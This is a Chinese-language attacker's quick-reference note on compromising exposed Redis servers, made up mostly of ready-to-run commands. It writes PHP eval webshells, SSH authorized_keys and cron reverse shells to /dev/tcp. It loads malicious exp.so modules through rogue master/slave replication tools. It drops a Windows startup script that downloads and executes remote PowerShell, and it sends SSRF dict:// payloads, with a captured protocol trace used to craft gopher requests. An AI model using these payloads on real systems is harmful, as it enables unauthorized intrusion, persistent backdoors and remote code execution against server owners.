更新时间:2022.2.12
老鸟速查笔记,新手建议直接读文末引用。
-
已知web的绝对路径
-
对应目录具有读写权限
redis-cli -h 192.168.1.154
config set dir /var/www/html
set xxx "\n\n\n<?php@eval($_POST['c']);?>\n\n\n"
config set dbfilename webshell.php
save
- redis服务为root权限
- 允许密钥登录
- linux
config set dir /root/.ssh
config set dbfilename authorized_keys
set xxssh "\n\nssh-rsa xxxxxx\n\n"
save
- redis服务为root权限启动
config set dir /var/spool/cron/
config set dbfilename root
set xxx "\n\n\n* * * * * bash -i >&/dev/tcp/ip/端口 0>&1\n\n\n"
save
tips:crontab反弹debian,ubuntu都不行,因为他们对计划任务的格式很严格,必须要执行 crontab -u root /var/spool/cron/crontabs/root
通过语法检查后,才能执行计划任务。
最后补充一下,可进行利用的cron有如下几个地方:
- /etc/crontab 这个是肯定的
- /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
- /var/spool/cron/root centos系统下root用户的cron文件
- /var/spool/cron/crontabs/root debian系统下root用户的cron文件
- redis服务为root权限启动
- redis 4.x/5.x
本质上就是加载一个so文件,用来执行命令。和udf差不多。如果本身就可以上传文件的情况下,直接上传so文件加载即可,不用利用主从。主从的意思就是把当前redis设置为备份库,等着把恶意的远程db备份过来,进行加载。
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make
开启恶意redis一键rce
git clone https://github.com/Ridter/redis-rce
python redis-rce.py -r 192.168.1.154 -L 192.168.1.153 -f module.so
python redis-rce.py -r 10.10.30.171 -p 44711 -L 10.10.30.171 -L 12138 -f exp.so -v
https://github.com/vulhub/redis-rogue-getshell
需要python3.0以上
编译
>cd RedisModulesSDK/
>make
会在此目录下生成exp.so
执行命令
>python3 redis-master.py -r 192.168.0.120 -p 6379 -L 192.168.0.108 -P 12138 -f RedisModulesSDK/exp.so -c "cat /etc/passwd"
https://github.com/n0b0dyCN/redis-rogue-server.git
python3 redis-rogue-server.py --rhost 10.10.30.171 --rport 8407 --lhost 10.10.30.171 --lport 1218
redis加载远程exp.so命令执行,配合被动连接使用
https://github.com/Dliv3/redis-rogue-server
#设置redis的备份路径为当前目录(注意目录权限问题)
config set dir ./
#设置备份文件名为exp.so,默认为dump.rdb
config set dbfilename exp.so
#设置主服务器IP和端口
slaveof 192.168.172.129 21000
#加载恶意模块
module load ./exp.so
#切断主从,关闭复制功能
slaveof no one
#执行系统命令
system.exec 'whoami'
还可以写无损文件
https://github.com/r35tart/RedisWriteFile
还可以主从复制覆写shadow
- 需要启动项目录的写入权限
- 服务器需要重启
config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
config set dbfilename shell.bat
set x "\r\n\r\npowershell -windowstyle hidden -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx.2/shell.ps1');xx.ps1\"\r\n\r\n"
save
https://github.com/learner-ing/redis-rce
https://xz.aliyun.com/t/7940
总体来说目前Windows的Redis getshell还没有发现直来直去一招通杀的方式。当然这主要是由于Windows自身特性以及Redis不(出)更(新)新(洞)的缘故。
但就像没有Redis4.x-5.x主从RCE之前的Linux环境一样,碰到了Redis即使知道有一定可能没权限写入,但还是要把最基础的试它一试,最起码常见的用户名目录要尝试写一写,mof尝试写一写,万一就成了呢?
运气也是实力的一部分,什么都觉得不可能,什么都不做,那就什么都不会有。
# 清空 key
dict://172.72.23.27:6379/flushall
# 设置要操作的路径为定时任务目录
dict://172.72.23.27:6379/config set dir /var/spool/cron/
# 在定时任务目录下创建 root 的定时任务文件
dict://172.72.23.27:6379/config set dbfilename root
# 写入 Bash 反弹 shell 的 payload
dict://172.72.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\n"
# 保存上述操作
dict://172.72.23.27:6379/save
如果是Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。见ref
可以看到每行都是以\r结尾的,但是 Redis 的协议是以 CRLF (\r\n)结尾,所以转换的时候需要把\r转换为\r\n,然后其他全部进行 两次 URL 编码
可用socat来抓包
socat -v tcp-listen:4444,fork tcp-connect:127.0.0.1:6379
具体流量包如下(实时显示)
[root@40d4066eb5c7 /]# socat -v tcp-listen:4444,fork tcp-connect:127.0.0.1:6379
> 2022/02/12 11:06:22.035396 length=17 from=0 to=16
*1\r
$7\r
COMMAND\r
< 2022/02/12 11:06:22.035601 length=34 from=0 to=33
-NOAUTH Authentication required.\r
> 2022/02/12 11:06:32.232475 length=28 from=17 to=44
*2\r
$4\r
auth\r
$8\r
P@ssw0rd\r
< 2022/02/12 11:06:32.232688 length=5 from=34 to=38
+OK\r
> 2022/02/12 11:06:38.022064 length=18 from=45 to=62
*1\r
$8\r
flushall\r
< 2022/02/12 11:06:38.023641 length=5 from=39 to=43
+OK\r
> 2022/02/12 11:06:45.908709 length=54 from=63 to=116
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$13\r
/var/www/html\r
< 2022/02/12 11:06:45.908934 length=5 from=44 to=48
+OK\r
> 2022/02/12 11:06:53.107136 length=57 from=117 to=173
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$9\r
shell.php\r
< 2022/02/12 11:06:53.107523 length=5 from=49 to=53
+OK\r
> 2022/02/12 11:07:02.007001 length=52 from=174 to=225
*3\r
$3\r
set\r
$1\r
x\r
$25\r
<?php eval($_GET[1]);?>
\r
< 2022/02/12 11:07:02.007210 length=5 from=54 to=58
+OK\r
> 2022/02/12 11:07:10.569458 length=14 from=226 to=239
*1\r
$4\r
save\r
< 2022/02/12 11:07:10.570998 length=5 from=59 to=63
+OK\r
整理后关键包
*2\r
$4\r
auth\r
$8\r
P@ssw0rd\r
*1\r
$8\r
flushall\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$13\r
/var/www/html\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$9\r
shell.php\r
*3\r
$3\r
set\r
$1\r
x\r
$25\r
<?php eval($_GET[1]);?>
\r
*1\r
$4\r
save\r